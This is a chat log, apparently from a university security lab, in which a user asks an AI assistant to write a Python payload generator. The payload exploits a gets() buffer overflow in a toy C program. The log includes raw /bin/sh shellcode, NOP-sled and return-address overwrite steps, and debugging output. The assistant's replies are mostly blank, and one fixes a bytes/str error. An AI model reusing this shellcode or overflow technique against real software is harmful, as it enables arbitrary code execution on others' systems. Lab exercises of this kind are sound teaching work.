vulnprogram.c: #include <stdio.h> #include <stdlib.h> #include <string.h> char passwd[]…
- User
vuln_program.c: #include <stdio.h> #include <stdlib.h> #include <string.h>
char passwd[] = "asd"; char usr_input[4];
void target() { printf("You have entered the correct passwd\n"); exit(0); }
void prompt(){ char buf[4]; gets(buf); strncpy(usr_input, buf, 4); }
int main(){ prompt(); if(strcmp(usr_input, passwd) == 0) { target(); }else { printf("Wrong passwd!\n"); exit(1); }
return 0;}
The following will try to help you understand structure of an attack string: Stack layout of vulnerable program contains buf which is 4 bytes, Other vars which is 8 bytes, %ebp which is 4 bytes, %eip and &arg1 while the prompt function invoking. The goal is to overwrite the buffer until return address(%eip) on the stack has contains the target function address. One thing to be aware is the address in little-endian format. For example, if target address is ”0xdeadbeef”, then the bytes of return address at RA will be RA[0]:ef, RA[1]:be, RA[2]:ad, RA[3]:de.
Stack layout of launching shellcode must contain buffer, return address %eip, nop nop nop....., injected code. Overwrite the buffer in a specific way that:
- Overwrite the buffer with padding.
- Overwrite the return address(%eip) on the stack with a guessed address that probably will jump to the injected malicious code.
- nops(0x90) can be filled in the between the return address and injected malicious code to increase the chance that injected malicious code will be executed. The nop instruction will do nothing but jump to the instruction.
- The shellcode then provided as payload at the end of the overwrite.
The shellcode that is used to launch a shell is provided as following: "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Write the attack program to generate the attack payload for this shellcode exploitation.
Providing the argument as ”shellcode” to the attack program must generate the shellcode attack payload. For example, if your code is written in python, run your program as "python3 attack.py shellcode". The output of your program should be a file named "shell_string" which stores the attack payload for launching the shellcode.
- Assistant
- User
Target function address is 08049196.
- Assistant
- User
python3 attack.py shellcode Traceback (most recent call last): File "/home/akadam4/cs558/proj3_akadam4/attack.py", line 32, in f.write(payload) TypeError: a bytes-like object is required, not 'str'
- Assistant
The error message you're seeing indicates that the
writemethod expects abytesobject, but thepayloadvariable is astrobject. This is because, in Python 3, strings () and bytes are distinct types of objects. The and parts of your payload are initially defined as string literals, but you need them to be bytes before writing them to a file in binary mode or manipulating them at the byte level. - User
setarch $(uname -m) -R ./vuln_program < shell_string Segmentation fault
- Assistant
- User
(gdb) info address target Symbol "target" is a function at address 0x8049196. (gdb)
- Assistant
- User
One thing to be aware is the address in little-endian format. For example, if target address is ”0xdeadbeef”, then the bytes of return address at RA will be RA[0]:ef, RA[1]:be, RA[2]:ad, RA[3]:de
- Assistant
- User
Update the complete program
- Assistant
- User
the shellcode isn't there in the program
- Assistant
- User
The shellcode that is used to launch a shell is provided as following: "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" write the program using this
- Assistant